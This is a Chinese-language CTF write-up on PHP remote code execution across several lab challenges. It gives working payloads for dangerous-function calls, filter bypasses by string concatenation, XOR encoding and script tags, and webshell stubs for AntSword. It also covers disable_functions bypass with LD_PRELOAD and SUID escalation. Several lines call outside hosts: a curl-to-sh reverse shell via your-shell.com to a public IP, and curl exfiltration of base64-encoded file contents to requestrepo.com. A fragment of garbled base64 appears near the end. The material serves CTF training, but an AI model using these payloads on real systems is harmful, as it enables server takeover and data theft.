目录
①危险函数型代码执行
例题1:web18
1=system('ls /');
1=system('cat /f*');
(或者直接蚁剑连)
例题2:web19
?1=system('ls /');
?1=system('cat /f*');
这里主要讲一下蚁剑的打法
(蚁剑只能连POST型的代码执行)
因为这里是GET型,所以如果直接连url会返回数据为空
最后加个转接头?1=eval($_POST[1]);就可以直接连上了
例题3:web20
?1=system
2=tac /f*
注:下述payload不行
?1=eval
2=system('tac /f*');
原因:eval不是函数,而和echo一样是一种语言结构,所以不能被call_user_func调用
例题4:web21
(?看不懂思密达 )
这种情况得查手册
懂了
?1[]=tac /f* (php中传数组,用数组的参数名+中括号)
1=system
甚至可以这么玩
?1[0]=ls /&1[1]=tac /f*
1=system
回显如下
②字符过滤型代码执行
例题5:web22
可以玩一个拼接绕过
?1=$a='sys';$b='tem';$c=$a.$b;$c($_POST[1]);
1=cat /f*
例题6:web23
过滤了; 和?
?>闭合,后面输入的任何东西都会被认为是文本文档
举例:
为了执行php代码 => 用php标记
过滤了? => <?都不能用 考虑<script language="php"></script>
过滤了; => 看下图
最终payload:
?1=<script language="php">eval($_POST[1])</script>
可以直接连蚁剑,也可以手搓
1=system('tac /f*');
③长度限制型代码执行
例题7:web24
前置知识:<? ?>是短标签,<?php ?>是长标签,在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后可以使用PHP的短标签:<? ?> 同时,只有开启这个才可以使用 <?= 以代替 <? echo 。
payload:
?1=<?`$_GET[2]`;&2=ls > 1.txt (用php短标签,但这里没echo也就没回显,所以尝试写入文件)
然后访问1.txt,发现不行,可能是没有写的权限,也可能是命令没执行
做个实验
?1=<?`$_GET[2]`;&2=sleep 3 发现确实睡了三秒,成功执行,那这里就是没有写的权限了
尝试反弹shell(还是用傻瓜型your-shell.com哈哈哈)
?1=<?`$_GET[2]`;&2=curl https://your-shell.com/124.222.136.33:1337 | sh
成功拿下
④函数禁用型代码执行
(就是初听很nb的配置文件限制,disable_functions)
例题8:web25
先尝试
?1=system('ls /');
没有任何回显
直接?1=phpinfo();
看见不少函数禁用
尝试连接蚁剑,这里转接头真的有很多学问
?1=eval($_POST[1]);
?1=assert($_POST[1]);
?1=eval($_POST[1]); + 蚁剑base64编码器
上面三种都连不上
随便贴一个:
?1=assert($_POST[1]); + 蚁剑base64编码器 可以连上
连上后直接看flag文件是看不到的
直接用插件绕就好
例题9:web26
和上题基本一样,但禁用更严格
继续上插件
(用LD_PRELOAD)
刷新目录发现多了一个.antproxy.php
继续连
我勒个豆,还得suid提权
上插件
发现suid提权文件有tac
直接tac /f*
ps:蚁剑的disable_functions插件的模式多试试,没有哪个可以通杀,具体哪个可以用与php版本和禁用函数有关 ,要灵活调整策略
⑤位运算绕过代码执行
例题10:web29
经典无字母数字RCE
这里用异或打一下
?code=("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%14%01%03%00%00%06%00"^"%60%60%60%20%2f%60%2a");
直接出flag
也可以取反/自增
⑥无回显下的命令执行
1. 写入文件、二次返回
例题11:web14
ps:写入.txt文件可以直接用cat
因为cat的php文件不是以html形式显示,而是以txt形式显示,即使有<?php标签也不会渲染
?cmd=ls >1.txt
访问1.txt
?cmd=cat f*>1.txt
继续访问1.txt(存在文件覆写,不用担心)
(如果你乐意,最后也可以?cmd=rm 1.txt,神不知鬼不觉)
2. DNS信道
dnslog外带数据量太小了,不推荐
3. Http信道
例题12:web16
这里推荐一个网站Dashboard - requestrepo.com
直接上payload:
?cmd=curl http://qn0q93pe.requestrepo.com/?1=`ls | base64`
(为了避免空格问题,这里用base64编码)
?cmd=curl http://qn0q93pe.requestrepo.com/?1=`cat f* | base64`
4. 反弹shell信道
例题13:web17
默默掏出your-shell.com
?cmd=curl https://your-shell.com/124.222.136.33:1337 | sh
总结:
(摘要)
Remote Code Exec
Code指脚本语言(php)的代码
eval
总结:eval(字符串) 表示将字符串按照php的代码执行
call_user_func
call_user_func_array
php动态函数调用
命令执行和代码执行的区别
前者执行操作系统命令 或者执行 脚本语言的代码
函数返回值 函数名字(函数参数);
$ret = system("calc");
1 危险函数利用
2 过滤了黑名单
如果仅仅在代码中过滤了函数名称,那么大概率就等于 没过滤
<?php `$_GET[2]`;?>
<?=`$_GET[2]`;?>
<?=`$_GET[2]`;
<?`$_GET[2]`;
无回显情况下的命令执行
通道
数据传输的路径
shell_exec
system 相比,没有回显结果
1. 写入文件、二次返回
2. DNS信道
$flag="fla
JGZsYWc9ImZsYWd7MWE1MzFkNTUtMGRhNS00ODkzRhNS00ODkzLWE5ZWQtZD
ZsYWd7MWE1MzFkNTUtMGRhNS00ODkzRhNS00ODkzLWE5ZWQtZD
RhNS00ODkzLWE5ZWQtZD
3 http信道
4 反弹shell信道
公网IP
5 延时 sleep 3 (测试命令是否执行)